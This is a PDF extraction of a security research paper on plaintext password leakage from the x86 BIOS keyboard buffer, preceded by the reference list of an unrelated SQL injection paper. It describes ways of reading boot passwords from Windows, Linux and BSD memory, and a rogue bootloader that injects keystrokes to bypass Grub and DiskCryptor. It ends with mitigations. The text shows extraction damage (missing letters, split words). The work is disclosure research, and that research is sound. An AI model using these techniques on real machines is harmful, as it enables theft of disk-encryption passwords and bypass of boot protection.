uploaded onto any of the web server directories. By default, this file is executable. Just like on the LAMP platform, PHP script can be used to execute the malicious file using the PHP SYSTEM function. 11 References [1] LAMP http://en.wikipedia.org/wiki/LAMP_(software_bundle) [2] WAMP http://en.wikipedia.org/wiki/WAMP [3] Stacked Queries http://www.sqlinjectionwiki.com/Default.aspx?Page=Stacked%2 0Query&AspxAutoDetectCookieSupport=1 [4] MySQL 5.1 Reference Manual: Adding New Functions http://dev.mysql.com/doc/refman/5.1/en/adding-functions.html [5] Database Hacker’s Handbook http://www.ngssoftware.com/press-releases/database-hackers- handbook-published/ [6] Advanced SQL Injection Exploitation to Operating System Full Control http://www.blackhat.com/presentations/bh-europe- 09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection- slides.pdf [7] MySQL 5.1 Reference Manual: INSERT Syntax http://dev.mysql.com/doc/refman/5.1/en/insert.html [8] MySQL 5.1 Reference Manual: UPDATE Syntax http://dev.mysql.com/doc/refman/5.1/en/update.html [9] MySQL 5.1 Reference Manual: SELECT Syntax http://dev.mysql.com/doc/refman/5.1/en/select.html [10] MySQL 5.1 Reference Manual: Privileges Provided by MySQL http://dev.mysql.com/doc/refman/5.1/en/privileges- provided.html [11] MySQL 5.1 Reference Manual: CREATE FUNCTION Syntax 12 http://dev.mysql.com/doc/refman/5.1/en/create-function- udf.html [12] Shared Library http://en.wikipedia.org/wiki/Library_(computing)#Shared_librari es [14] MySQL 5.1 Reference Manual: UNION syntax http://dev.mysql.com/doc/refman/5.1/en/union.html [15] PHP System Function http://ar.php.net/system [16] MySQL 5.1 Reference Manual: String Functions http://dev.mysql.com/doc/refman/5.1/en/string-functions.html [17] Apache Core Features http://httpd.apache.org/docs/2.1/mod/core.html#documentroot [18] PHP Zlib Functions http://www.php.net/manual/en/ref.zlib.php [19] PHP gzcompress Function http://www.php.net/manual/en/function.gzcompress.php [20] PHP gzuncompress Function http://www.php.net/manual/en/function.gzuncompress.php [21] Adler32 Checksum http://en.wikipedia.org/wiki/Adler-32 [22] RFC 1950 http://tools.ietf.org/html/rfc1950
pdf
Bypassing pre-b o ot authen tication passw ords b y instrumen ting the BIOS k eyb oard buer (practical lo w lev el attac ks against x86 pre-b o ot authen tication soft w are) Jonathan Brossard - jonathan@ivizindia.com Iviz T ec hnosolutions Pvt. Ltd. , K olk ata, India The wal ls b etwe en art and engine ering exist only in our minds. Theo Jansen Abstract. Pre-b o ot authen tication soft w are, in particular full hard disk encryption soft w are, pla y a k ey role in prev en ting information theft[1℄. In this pap er, w e presen t a new class of vulnerabilit y aecting m ultiple high v alue pre-b o ot authen tication soft w are, including the latest Microsoft disk encryption tec hnology : Microsoft Vista's Bitlo c k er, with TPM c hip enabled. Because Pre-b o ot authen tication soft w are programmers com- monly mak e wrong assumptions ab out the inner w orkings of the BIOS in terruptions resp onsible for handling k eyb oard input, they t ypically 1 use the BIOS API without ushing or in tializing the BIOS in ternal k ey- b oard buer. Therefore, an y user input including plain text passw ords remains in memory at a giv en ph ysical lo cation. In this article, w e rst presen t a detailed analysis of this new class of vulnerabilit y and generic exploits for Windo ws and Unix platforms under x86 arc hitectures. Un- lik e curren t academical researc h aiming at extracting information from the RAM[2℄[3℄, our practical metho dology do es not require an y ph ysical access to the computer to extract plain text passw ords from the ph ysical memory . In a second part, w e will presen t ho w this information leak age com bined with usage of the BIOS API without careful initialization of the BIOS k eyb oard buer can lead to computer reb o ot without console access and full securit y b ypass of the pre-b o ot authen tication pin if an attac k er has enough privileges to mo dify the b o otloader. Other related w ork include information leak age from CPU cac hes[4℄, reading ph ysical memory thanks to rewire[5℄ and switc hing CPU mo des[6℄[7℄. 1 In tro duction In a previous article[8℄ regarding BIOS passw ords and CMOS securit y , w e presen ted ho w BIOS passw ords could b e extracted from memory . In the presen t article, w e will generalize our researc h to an y pre-b o ot au- then tication soft w are b y rst describing ho w passw ord reading routines 1 cf: A nnexe A for a non exhaustiv e list soft w are vulnerable to plain text passw ord leak age. are implemen ted at b o otloader lev el, then b y describing attac k scenarios under b oth Windo ws and *nix op erating systems, and nally b y studying ho w passw ord protected b o otloaders can b e reb o oted without ph ysical access, leading to a full securit y b ypass. In the rest of this article, otherwise explicitly men tioned, p4ssw0rd is the passw ord to the target pre-b o ot authen tication soft w are, b e it a BIOS passw ord or a b o otloader's pin. In order to in tro duce the con text in whic h pre-b o ot authen tication soft- w are are executed, w e will start with an o v erview of op erating systems b o oting under x86 compatible arc hitectures. 1.1 An o v erview of Op erating Systems b o oting Under the x86 arc hitecture, the b o ot sequence can b e divided in the fol- lo wing steps[9℄[10℄ : The CPU starts in Real Mo de[11℄. All segmen t register are set to 0, cs is set to 0xFFFFFFF0.[12℄[13℄. Quoting the In tel man ual V ol 3A c hapter 8-6 : The EPR OM con- taining the initialisation co de m ust b e presen t at this address. The EPR OM 2 in question loaded at 0xFFFFFFF0 is indeed the BIOS. BIOS POST (P o w er On Self T est) c hec ks (hardw are c hec king : c hec ks for RAM, bus, disks, etc) are p erformed[14℄. The BIOS loads the rst 512 b ytes of the Master Bo ot Record (b o ot- loader b o otstrapping) at address 0x0000:0x07C0 in RAM, and p er- forms a far jump to this lo cation, using in t 0x19. The b o ot loader is resp onsible for b o oting the k ernel (with optional parameters, p ossibly a big k ernel, etc...). The k ernel copies part of the BIOS Map to a safe lo cation[15℄ (0x0:0x90000-0x0:0x901FF for Lin ux), p erforms some additional hard- w are detection and switc hes to Protected mo de[16℄[17℄. Starting from this p oin t, an authen tication pro cess is not qualied of pre-b o ot authen tication an ymore. What can w e infer from this b o oting sc hema regarding pre-b o ot authen tication soft w are and their APIs ? 2 No w ada ys, BIOSes are not co ded on EPR OMs an ymore, but on Programmable Read- only Non v olatile RAM[13℄, similar to EEPR OM 1.2 Pre-b o ot authen tication : API and implemen tation Giv en what w e ha v e seen previously , a pre-b o ot authen tication soft- w are can b e implemen ted in the BIOS itself (e.g.: a user BIOS pass- w ord) or most probably , for ob vious p ortabilit y reasons, in the b o ot- loader (lilo/grub, Vista's Bitlo c k er[18℄, or virtually an y other pre-b o ot authen tication soft w are with or without full disk encryption capabilities). Since there is no k ernel in memory when this authen tication soft w are is run in RAM, the only API a v ailable to the programmer of a pre-b o ot authen tication soft w are is the BIOS API. This soft w are migh t or migh t not add some kind of encryption to the disks, but it will surely need to ask the user for a passw ord at a giv en momen t 3 . Hence, w e will no w detail ho w the BIOS implemen ts reading k eystrok es from the k eyb oard... 1.3 In tro ducing the vulnerabilit y : inner w orkings of BIOS in terruption 0x16 and BIOS k eyb oard buer h ystheresis The BIOS API oers in terruption 0x16[19℄ to retriev e k eystrok es from the k eyb oard. In particular, functions ah=0x01 c hec ks (and reads) if a k ey has b een pressed and function ah=0x00 reads this k eystrok e, return- ing the ASCI I co de of the k eystrok e in the AL register and its scanco de (read b y In t 0x09 - i.e.: IR Q1[20℄ - from the k eyb oard and placed in to the buer. This mec hanism allo ws the use of extended k eystrok es, e.g.: Alt+Shift+Keystrok e) in the AH register. W e can v erify that b o otloaders lik e lilo actually use those in terruptions to read input from the user[21℄ : cf gur e 1. Fig. 1. Keyb oard reading routine in lilo (le second.S tak en from lilo 22.8). But ho w is this mec hanism made p ossible inside the BIOS itself ? A t b o ot time, a critical structure, the BIOS Data Area is created at lo cation 0x0040:0x0000 in ph ysical memory . The k eyb oard con tains an 3 Other authen tication metho ds suc h as usb tok ens, smartcards or biometry are out of the scop e of this pap er. em b edded 8042[22℄ micro con troller to con tin uously scan for k eystrok es pressed or released, in real time, indep enden tly of the w orkload of the main CPU. Ev ery time a k eystrok e is pressed or released, this micro- con troller sends a scanco de to a second micro con troller (PIC 8259[23℄) presen t in the motherb oard. This micro con troller unies the t w o k eystrok es sen t when pressing and releasing a k ey and sends a unique scanco de to the k eyb oard in terrupt service routine (i.e.: the ISR of in terruption 0x09, or ph ysical IR Q 0x01). The k eyb oard ISR up dates a critical struc- ture created at b o ot time at lo cation 0x40:0x00[24℄ : BIOS Data Area accordingly : cf gur e 2. It con tains sev eral leds related to k eyb oards functions[25℄ : cf : gur e 3. Fig. 2. Keyb oard handling o v erview under x86 compatible arc hitectures. The BIOS k eyb oard buer is actually found at lo cation 0x0040:0x001e. It is 32 b ytes long. Since a k eystrok e is co ded on t w o b ytes (the rst one for its ASCI I co de, the second one for its BIOS scanco de), it can handle up to 16 k eystrok es 4 . The p oin ters lo cated at 0x0040:0x001A and 0x0040:0x001C k eep trac k of ho w man y k eys are curren tly presen t inside the buer, and ho w man y ha v e b een read so far : therefore, if a user en ters the passw ord 'p4ssw0rd', 4 actually , the enter k ey is co ded on a single b yte, so the k eyb oard ma y con tain a bit more than 16 k eystrok es. Fig. 3. Elemen ts of the BIOS Data Area relev an t to k eyb oard handling. the BIOS k eyb oard buer w ould go through the follo wing states b et w een k eystrok es : cf : gur e 4. Fig. 4. P oin ters ev olution while en tering k eystrok es (using the k eyb oard...). The main problem of this mec hanism is that this buer is not ushed after a k ey has b een queried via in terruption 0x16, function ah=0x00[19℄, while programmers ma y assume it is, only the p oin ter to the next k ey is up dated : cf : gur e 5. 1.4 V erifying there is a vulnerabilit y in a BIOS P assw ord c hec king routine T o demonstrate the fact that most programmers will not b e a w are of this problem, let's v erify ho w the programmers of the BIOS ha v e imple- men ted the user BIOS passw ord feature inside the BIOS ash memory Fig. 5. P oin ters ev olution while reading k eystrok es (using in t 0x16). itself 5 . T o do so, w e will need a small 16 b ytes BIOS shellco de (cf: A nnexe B : Shel lc o de.S ) to access ph ysical memory via real addressing, in Real Mo de, and displa y the con ten t of memory at lo cation 0x0040:0x001e. Since this shellco de cannot b e run from protected mo de, w e will craft a small USB b o otloader to load and run it at b o ot time in real mo de (cf: A nnexe C : SploitOS.S ) : cf: gur e 6. Fig. 6. Our simple b o otloader running the 16b shellco de in real mo de and rev ealing the Bios passw ord. As w e can see, the programmers of the BIOS itself fail at prop erly ush- ing the BIOS k eyb oard buer after use. Ob viously , programmers of pre- b o ot authen tication soft w are w on't b e m uc h more a w are of the problem... 5 I am using an In tel BIOS, v ersion PE94510M.86A.0050.2007.0710.1559 (07/10/2007). 1.5 P assw ords c haining A t this p oin t, a careful reader ma y ask : What happ ens if the user has to t yp e t w o passw ords b efore the b o otloader loads and transfers con trol to the k ernel ? This is a p erfectly v alid question since it is absolutely p ossible to protect a computer with, for instance, b oth a BIOS passw ord and a pre-b o ot authen tication b o otloader, or ev en to c hain b o otloaders. Because the BIOS k eyb oard buer is a rotativ e buer, lik e explained in gur e 5, if the user en ters m ultiple input during the b o ot sequence, the k eystrok es will simply b e concatedated in the BIOS k eyb oard buer (separated b y a 0x1a c haracter corresp onding to the carriage return k eystrok e). Practically , it means that w e can retriev e m ultiple passw ords or commands in the v ery same w a y w e w ould retriev e a single passw ord. No w that w e ha v e a b etter understanding of the vulnerabilit y , let's mo v e to actual exploitation under Microsoft Windo ws, and then under *nix platforms. 2 Retrieving pre-b o ot authen tication passw ords under Windo ws Windo ws (from Windo ws 95 to Vista) is running, lik e ev ery mo dern OS, under Protected Mo de to enable paging, segmen tation, and m ultitasking. It is therefore imp ossible to access ph ysical addresses directly : if w e w an t to get access to a memory lo cation, w e will ha v e to use virtual adressing and only the Memory Managemen t Unit[26℄ will b e able to translate it in to a ph ysical address whic h w e will not ev en kno w... T o circum v en t protections of Protected Mo de and segmen tation, a rst strategy could b e to switc h the OS bac k to Real Mo de. This w ould re- quire mo difying the v alue of con trol register cr0, hence require ring 0 privileges[12℄. It could b e implemen ted as a k ernel driv er, but w ould b e highly non p ortable across v ersions of the Windo ws k ernel, plus it w ould require sp ecial privileges. Another strategy , to disable segmen tation and access the full ph ysical memory in read or ev en write mo de w ould b e to switc h to System Man- agemen t Mo de to run our shellco de in 16 bits mo de. Suc h an attac k has b een pro v ed to b e practical, assuming the attac k er has ro ot privileges, under Op enBSD[6℄, GNU/Lin ux and other arc hitectures[7℄. But actually , all w e need is a small shell allo wing us to access the rst few kilob ytes of ph ysical memory in read mo de, and optionally to do a few ra w calls to BIOS in terruptions to displa y the con ten t of the BIOS k eyb oard buer. F ortunatelly , the MS-DOS compatibilit y mo de of Mi- crosoft Windo ws pro vides just that : it tak es adv an tage of In tel CPU's V86 Mo de[12℄, to allo w 16 bits programs execution under ring 3. Some privileged op erations lik e ra w access to disks via In terruptions 0x13 will b e disabled, but w e ha v e access to In t 0x10 and ev en MS-DOS's In t 0x21 without restrictions. And since this mo de uses Real A ddressing and al- lo ws access to the rst 1 MB of ph ysical memory in read mo de[11℄, w e can run our previous 16b BIOS shellco de (Shellco de.S) without an y mo d- ication. It is really just a matter of compiling the co de and placing it in a le with an exten tion .COM, after v erifying that it is 4b aligned 6 , and run our binary 7 : cf : gur e 7. Fig. 7. Successful exploitation under Windo ws 2003. The b enets of this metho d are ob vious : it is p ortable across ev ery v ersion of Windo ws from 95 to Vista 8 . And more imp ortan tly , this ex- ploitation tec hnique requires no sp ecial privileges. Notably , Microsoft Vista Ultimate edition with Bitlo c k er's disk encryption and TPM en- abled is vulnerable to this attac k. 3 Retrieving pre-b o ot authen tication passw ords under *nix Retrieving the con ten t of the BIOS k eyb oard buer from Windo ws w as quite easy b ecause its MS-DOS em ulation wrapp er around V86 mo de let us access the rst megab yte of ph ysical memory in read mo de without restrictions. Unfortunately , there is no suc h real mo de + ph ysical memory read shell under most Unixes. Virtual mac hines and em ulators running from user- land em ulate the In terruptions en tirely , and will not allo w us to retriev e actual information from the BIOS k eyb oard buer. In fact, under Lin ux, there is a library , lrmi[27℄ (Lin ux Real Mo de In- terface), whic h is merely a wrapp er around syscall 113 sys_vm86old. 6 ... since w e are not really using a 16 bits CPU, but em ulating it o v er a 32 bits arc hitecture. 7 W e are here using a F renc h v ersion of Windo ws Serv er 2003 SP2 En treprise Edition. 8 A ctually , b ecause of the imp erfect em ulation of 16 bits CPUs, there is one b yte to c hange to mak e it w ork under the real 16 bits mo de of the actual MS-DOS and Windo ws 95, so that the memory read actually p oin ts to the desired lo cation. Assuming w e ha v e IOPL(3) - i.e.: ro ot privileges in practice, unless w e nd an arbitrary co de execution bug in a service who has b een gran ted IOPL(3), lik e Xorg -, b y lling a dedicated datastructure sp ecifying the v alues of input registers and calling this syscall, w e can, from userland, ha v e the k ernel switc h to V86 mo de, issue an arbitrary BIOS In terrupt and presen t us the result in the form of the same datastructure. But w e do not ha v e read access to ph ysical memory in real mo de through this metho d, so w e will not b e able to read the BIOS k eyb oard buer so easily 9 ... cf : gur e 8. Fig. 8. Lin ux Real Mo de In terface (lrmi) data structure to V86 syscall as dened in lrmi.h. That b eing said, there are other w a ys to access memory under Unix to b ypass segmen tation protections and read arbitrary ph ysical memory lo cations. W e will rst fo cus on userland attac ks and presen t a generic attac k amongst Unix platforms from userland with ro ot privileges, and secondly demonstrate an attac k from Kernel Land in the form of a Lin ux Kernel Mo dule. 9 It ma y nonetheless b e p ossible to use the lrmi library and allo w ed in terruptions to cop y the BIOS Data Area to an other place in memory . Or retriev e parts of memory in mo died registers, since manipulating ph ysical memory via the input parameters crafted in to this datastructure is allo w ed... 3.1 Generic userland exploits against pre-b o ot authen tication passw ords under *nix Solaris, *BSD and GNU/Lin ux pro vide a sp ecial device to access ph ys- ical memory directly , at least in read mo de 10 : the c haracter device /dev/mem. Since it is really a mapping of the ph ysical RAM of the system, all w e need to do is to op en /dev/mem in read mo de, mmap() its rst page and retriev e the con ten t of the BIOS k eyb oard buer start- ing from address 0x041e : cf : gur e 9. Fig. 9. Plain text passw ord leak age via /dev/mem under *nix. In a similar w a y , w e could retriev e the BIOS k eyb oard buer from the k er- nel memory itself, from userland, using the c haracter device /dev/kmem 11 : cf : gur e 10. Fig. 10. Plain text passw ord leak age via /dev/kmem under GNU/Lin ux. Finally , w e could retriev e the same information from the pseudo lesys- tem /pro c if /pro c/k core is a v ailable 12 . This le presen ts the same in- formation as /dev/kmem, the k ernel memory (whic h w e kno w con tains a cop y of the BIOS Data Area from paragraph 1), but has the structure of a core le. It is really just a matter of nding the righ t oset in the core le (0x141e) : cf : gur e 11. Ev en tually , w e managed to extract the con ten t of the BIOS k eyb oard buer from userland under Unix in a generic w a y . W e co ded a to ol based 10 Under Op enBSD, this device is in read only mo de ev en for ro ot, if securelev el is set to secure mo de 2[6℄[7℄. 11 This exp erimen t is run under a Lin ux k ernel v ersion 2.6.22 with the standard 3GB/1GB userland/k erneland split, addresses will dier amongst *nix a v ours b e- cause the k ernel is not mmapp ed at the same address. 12 It is enabled b y default on most GNU/Lin ux distributions. Fig. 11. Plain text passw ord leak age via /pro c/k core under *nix. on those exp erimen ts (cf: A nnexe D : generic.unix.sploit.c ) : cf : gur e 12. Fig. 12. Our generic userland exploit running under *nix. This exploit is really generic : it w orks not only against m ultiple pre- b o ot authen tication soft w are 13 , but also amongst virtually an y Unix 14 running under x86 (there is no BIOS otherwise) and pro viding one or the other of the ab o v e men tioned device driv ers or the /pro c pseudo lesys- tem 15 . Once co v ered user land exploitation, w e will attempt to retriev e plain text passw ords from the k ernel. 3.2 Doing it the hard w a y : retrieving passw ords from k ernel land In this section, w e will fo cus on GNU/Lin ux exploitation only , from a k ernel land scop e. 13 cf: A nnexe A. 14 T ested under F reeBSD 6.3, Op enBSD 4.0, Op enSolaris 5.11 and sev eral GNU/Lin ux distributions including Gen to o 2006 and Ubun tu Gutsy . 15 Ev en secure k ernels hardened b y the securit y patc h from grsecurit y[28℄ up to and including v ersion 2.1.10 (curren t) are vulnerable to these attac ks. Let's rst of all v erify that the BIOS Keyb oard buer is presen t in mem- ory at lo cation 0xC000041E 16 : cf : gur e 13. Fig. 13. GNU/Lin ux k ernel debugging rev eals plain text passw ords. W e ha v e co ded an exploit in the form of a Lin ux Kernel Mo dule (cf: A nnexe E : ksploit.c ) whic h will add a new en try to the /pro c pseudo lesystem and displa y an y passw ord presen t in the BIOS k eyb oard buer : cf : gur e 14. Fig. 14. Our Lin ux Kernel Mo dule exploit adding a le con taining plain text passw ords under /pro c. No w that w e kno w ho w to retriev e plain text passw ords from pre-b o ot authen tication soft w are under b oth Windo ws and *nix op erating sys- tems, w e will presen t ho w to use that information leak age to reb o ot the computer, to ac hiev e a full securit y b ypass of the pre-b o ot authen tication defense. 16 Here, w e are remotely debugging a 2.6.19 Lin ux k ernel running under Gen to o 2006 inside V m w are W orkstation 6.0 using gdb under Ubun tu[29℄. This k ernel is congured to use the standard 3GB/1GB userland/k erneland split. 4 Reb o oting a computer protected with a pre-b o ot authen tication passw ord, without console access Reb o oting a computer can b e helpful to an attac k er in a large range of scenarios, b eing it to b o ot an other -p ossibly w eak er- OS hosted on the same computer via a m ulti-b o ot b o otloader lik e GNU Grub or Lilo in order to extend his con trol o v er the mac hine , to pass sp ecial k ernel parameters to the OS at b o ot time 17 , to load a mo died k ernel image, or an y other attac k scenario[30℄[31℄... Ev en if an attac k er is able to retriev e the passw ord to a pre-b o ot au- then tication pro cess, will he b e able to reb o ot the computer ? Will he b e able to do it without ph ysical access to the console ? Can he ev en b e able to reb o ot it without kno wing the passw ord in some cases ? Those are the questions w e will try to answ er in this section. In this section, w e fo cus exclusiv ely on attac ks against b o otloaders. The general metho dologies describ ed can b e adapted to BIOS passw ords lik e- wise, but they require some fair amoun t - read non trivial fair amoun t- of rev erse engineering[32℄ and patc hing[31℄ on the BIOS ash R OM and are therefore to o v endor sp ecic to b e ab orded in this article. F rom no w on, w e also assume the attac k er is gran ted enough privileges to mo dify the b o otloader. 4.1 Remotely reb o oting a pre-b o ot authen tication protected mac hine without disk encryption via simple patc hing of the b o otloader If the passw ord ask ed at b o ot time is not used to decrypt an y p ortion of the hard disk 18 , then b ypassing the b o otloader protection is relativ ely easy : an attac k er with ro ot privileges can simply replace the curren t b o otloader with a new one, recongure the v ery same b o otloader with- out a passw ord, or if no conguration le is presen t on the lesystem and the b o otloader is really custom, patc h the passw ord c hec king routine in the b o otloader itself... It is for instance quite easy to patc h lilo so that it b o ots without tim- out, without v erifying the c hec ksums of its conguration les, or without prompting a passw ord. In gur e 15, w e ha v e patc hed lilo so that it in- stalls a new b o otloader, without mo difying its conguration les 19 , to b o ot the rst v alid k ernel a v ailable immediatly , without asking for a passw ord. F or more details on patc hing b o otloaders, the article Hacking 17 lik e reb o oting GNU/Lin ux in single mo de b y app ending 'init=/bin/sh' or suc h to the grub command line. 18 ... lik e in b o otloaders a la Grub or Lilo. 19 in particular the /b o ot/.map le, con taining the meat of the conguration at b o ot time. Grub for fun and pr ot [30℄ b y Co olQ in issue 63 of Phrac k magazine is a go o d starting p oin t. Fig. 15. P atc hed lilo reb o oting without prompting for a passw ord. In this simple case, kno wledge of the pre-b o ot authen tication passw ord is not required, since the whole pre-b o ot authen tication sc hema is b ypassed thanks to the patc h. Let us therefore no w fo cus on the less trivial case of encrypted partitions... 4.2 Remotely reb o oting a pre-b o ot authen tication protected mac hine with fully encrypted system partition via k eyb oard em ulation : b o otloader in the middle attac k In case the b o otloader uses the passw ord to decrypt the disks, a simple patc hing of the passw ord routine will not suce : the attac k er really needs to ha v e the b o otloader decrypt the system partition 20 . If the b o otloader do esn't v erify that the BIOS k eyb oard buer is empt y b efore asking for a passw ord, it could b e lled b y an attac k er so that when the b o otloader actually calls in terruption 0x16 to retriev e k eys, the BIOS acts lik e the attac k er w as sim ultaneously t yping a passw ord 20 One could also, quite inelegan tly , try to retriev e the decryption algorithm b y rev erse engineering the b o otloader and attempt to reimplemen t a decryption routine it in his o wn custom b o otloader... from the console. T o ll the k eyb oard buer b efore the b o otloader itself tries to call in- terruption 0x16, w e will need to insert our o wn rogue b o otloader b efore the pre-b o ot authen tication one, ll the buer in some w a y , and then transfer execution bac k to the original b o otloader. Initializing the k eyb oard buer could b e done b y writing directly to this buer lo cated at 0x40:0x1e and then up date the p oin ters to the next and latest c haracters at lo cations 0x40:1c and 0x40:1a. But instead of writing directly to the BIOS Data Area, there is a more elegan t w a y to handle this problem : micro con trollers (PIC) programming... W e ha v e men tioned previously that the k eyb oard and the motherb oard b oth con tain Programmable In terrupt Con trollers (PICs), that can b e con trolled 21 directly via I/O p orts 0x60 and 0x64. By articially forcing the 8042[22℄ micro con troller to send scanco des to the 8259[23℄ micro con- troller, w e can em ulate the act of pressing and releasing a k ey on the k eyb oard : cf : gur e 16. Fig. 16. Keystrok e em ulation via 8042 and 8259 micro con trollers programming. 21 W e will not detail the tec hnicalit y in v olv ed in this tric k in this pap er, but the in ter- ested reader can note that The Art of Assem bly [24℄, in particular c hapter 20 is a m ust read reference on that topic. The attac k roadmap to install the rogue b o otloader can therefore b e di- vided in to the follo wing steps : cf: gur e 17. Fig. 17. Roadmap to install a rogue b o otloader on the disk. Once installed in place of the original b o otloader, the rogue b o otloader needs to ll in the BIOS k eyb oard buer b efore restoring the old MBR and sim ulate 22 an in terruption 0x19 to restart the b o otstraping pro cess. Fig. 18. Roadmap for the rogue In visible Man b o otloader during the b o otloader in the middle attac k. The OS indep endan t co de of our rogue b o otloader, called In visible Man 23 , implemen ting this b o otloader in the middle attac k can b e found on A nnexe F. W e also pro vide an example of ho w to install this b o otloader under a GNU/Lin ux en vironmen t in A nnexe G. T o illustrate the attac k, let's consider the follo wing scenario : an attac k er has obtained ro ot access to a GNU/Lin ux computer running Ubun tu. This computer has a second Op erating System, Windo ws XP Profes- 22 W e could attempt to issue an actual in t 0x19, but Ralf Bro wn rep orted that some non standard-complian t BIOSes mo dify the RAM when this in terrupt is called. Plus w e w an t our exploit to w ork against virtual mac hines, whose b eha vior during 0x19 is not kno wn. 23 This attac ks in v olv es k eystrok es em ulation b y programming the 8042 PIC em b edded inside the k eyb oard. Hence, remo ving the k eyb oard will mak e the exploit fail... this is wh y w e called it In visible Man and not In visible k eyb oard for instance ;) sional SP2, installed on its o wn driv e, fully encrypted using DiskCryp- tor v ersion 0.2.6 (latest). Both the GNU/Lin ux and the Windo ws Op- erating Systems are loaded via a common Grub (v ersion 0.97) b o ot- loader, protected with an MD5 passw ord hash. The attac k er cannot sim- ply moun t the Windo ws partition from the compromised GNU/Lin ux, b ecause of the AES encryption la y er added b y DiskCryptor. But since he has kno wledge of b oth passw ords 24 , resp ectiv ely toto and titi, the at- tac k er is nonetheless decided to b ypass b oth the Grub and the DiskCryp- tor pre-b o ot authen tication routines to get the Windo ws OS b o oted. Since there are really t w o passw ords to en ter in a ro w, the attac k er will need to use the passw ord c haining tec hnique in tro duced earlier. Let's detail a bit the sequence of k eystrok es to b e en tered up on reb o ot : Because Grub is congured to b o ot silen tly without displa ying the men u to the user in rst place, the attac k er rst needs to sim ulate an esc ap e k eystrok e to get access to the Grub men u. He will then select the desired OS b y em ulating the up key or down key and then the enter k ey . A t this time, Grub will prompt for its passw ord : the attac k er needs to sim ulate the fact of en tering the Grub passw ord, toto, and then press the enter k ey . Finally , DiskCryptor's authen tication will request its passw ord, titi, follo w ed b y a nal enter k eystrok e. Assuming Windo ws is the rst Op erating system in the Grub men u, the whole k eystrok e sequence to b e sim ulated b y the rogue b o otloader at b o ottime is therefore : [escap e℄[en ter℄[t℄[o℄[t℄[o℄[en ter℄[t℄[i℄[t℄[i℄[en ter℄. In visible Man is able to initialize the BIOS k eyb oard buer to sim ulate this complex k eyb oard sequence b efore transfering con trol to Grub. The installation of In visible Man with the new passw ord sequence is illus- trated in gur e 19. Before the Windo ws splash screen nally app ears, an observ ator lo oking at the screen of the computer w ould see something lik e gur e 20 where the rst passw ord en tered b elo w the grub men u is the Grub one, while the follo wing one is the one of Disk cryptor. The main limitation of this mec hanism is the size of the BIOS k eyb oard buer, whic h is only 32 b ytes long. Since most k eys -apart from sev- eral con trol c haracters lik e the enter k ey , co ded on only one b yte- are co ded o v er t w o b ytes, an attac k er can con truct a sequence of ab out 16 24 P ossibly thanks to the BIOS k eyb oard buer h ystheresis attac k describ ed in the rst part of this pap er... Fig. 19. Conguring In visible Man to ll the BIOS k eyb oard buer with a complex passw ord sequence up on reb o ot. Fig. 20. The In visible Man b ypassing b oth Grub and DiskCryptor authen tications b y sim ulating a complex k eyb oard sequence via passw ord c haining. k eystrok es only . In practice, this means that if the DiskCryptor's pass- w ord is longer than 16 c haracters, then the attac k will fail. Finally , if a pre-b o ot authen tication soft w are do esn't initialize the BIOS k eyb oard buer b efore usage, it can b e tric k ed in to reading arbitrary input, apparen tly coming from the console, but in realit y crafted b y a b o otloader in the middle lik e our In visible Man, installed b y an attac k er with enough privileges to mo dify the MBR, but without console access. 5 Mitigating the vulnerabilities In a n utshell, w e ha v e sho w ed ho w not initializing the BIOS k eyb oard buer b efore usage, or not clearing it after usage lead to p oten tial BIOS k eyb oard buer manipulations. There are really t w o p oten tial vulnera- bilities w e need to address : initialize the BIOS k eyb oard buer memory b efore the b o otloader uses it, and clean the BIOS Data Area in three lo cations : the BIOS k eyb oard buer itself (32 b ytes long, at address 0x40:0x1e), and the t w o asso ciated p oin ters at addresses 0x40:1a and 0x40:0x1c (to a v oid an y information leak regarding the passw ord length) after usage. W e can think of t w o w a ys to sanitize the BIOS Data Area after reading user input. The rst one in v olv es clearing the relev an t memory areas af- ter usage in the b o otloader itself. The second one is to clear those same areas at b o ot time in the k ernel. None of the suggested x is p erfect : if w e clear the BD A righ t after the b o otloader has completed its task, hence b efore the k ernel is loaded, then an y pre-b o ot authen tication routine implemen ted in the earliest stages of the k ernel itself 25 will still b e vulnerable to plain text passw ords leak age. On the other hand, if w e clear the memory in the k ernel, then a rogue b o otloader loaded after the actual b o otloader (or BIOS routine), but b efore the k ernel, could still retriev e the passw ords from memory 26 . W e pro vide a partial x for GNU/Lin ux x86 (assuming a 3GB/1GB user- land/k erneland split) 2.6 k ernels an yw a y , that will zero out the three memory areas men tioned earlier : cf gur e 21. Lik ewise, initializing (or cleaning) the BIOS k eyb oard buer and its p oin ters at b o otloader lev el is a matter of adding a few lines of 16b assem bly : cf gur e 22. W e b eliev e that initializing and cleaning should b e done in the soft w are manipulating the BIOS k eyb oard buer, b eing it the BIOS itself, the b o otloader or the k ernel. The b o oting sequence in x86 arc hitecture b e- ing strictly monopro cess, this is the safest w a y to a v oid race conditions b et w een the x and an y p oten tial b o otloader in the middle, let aside patc hing of the initializing or cleaning routine, against whic h w e are not a w are of an y p ossible denitiv e x. 6 Conclusion In the presen t pap er, w e ha v e detailed a new class of vulnerabilit y af- fecting pre-b o ot authen tication soft w are : man y pre-b o ot authen tication soft w are programmers are not a w are of the inner w orkings of the BIOS in terruptions they use in their pro ducts, whic h can lead them to wrongly assume the BIOS handles the k eyb oard in a secure w a y b y itself. In fact, w e ha v e rstly sho wn that man y pre-b o ot authen tication soft- w are do not clean the BIOS k eyb oard buer after prompting the user 25 lik e tuxonice/susp end2 hib ernation to disk k ernel patc h. 26 in other w ords, there is a race condition b et w een the attac k and the x... Fig. 21. Suggested Lin ux Kernel Mo dule to sanitize the BIOS Data Area. for a passw ord, whic h leads to plain text passw ord leak age attac ks. W e exp osed an attac k scenario resulting in plain text passw ord leak age to a lo cal unprivileged user under an y v ersion of Microsoft Windo ws. High v alue protectiv e soft w are, in particular the v ersion of Microsoft Bitlo c k er using the latest TPM tec hnology ship ed with Microsoft Vista Ultimate Edition are kno wn to b e vulnerable to this attac k. Other commercial and op en source soft w are, including BIOS R OMs ha v e equally b een pro v ed vulnerable. W e ha v e lik ewise sho wn that this class of attac k is practical under *nix (GNU/Lin ux, *BSD and Solaris userland exploit co des ha v e b een pro vided, as w ell as a k ernel land Lin ux exploit) assuming the at- tac k er has enough privileges, t ypically ro ot. Secondly , w e ha v e sho wn that not initializing the BIOS k eyb oard buer allo ws an attac k er with enough privileges to write to the Master Bo ot Record but without console access to remotely reb o ot a pre-b o ot authen- tication soft w are protected computer and to pass custom parameters to the b o otloader, resulting in privilege escalation or further p enetration of other Op erating Systems hosted on the same computer. This b o otloader in the middle attac 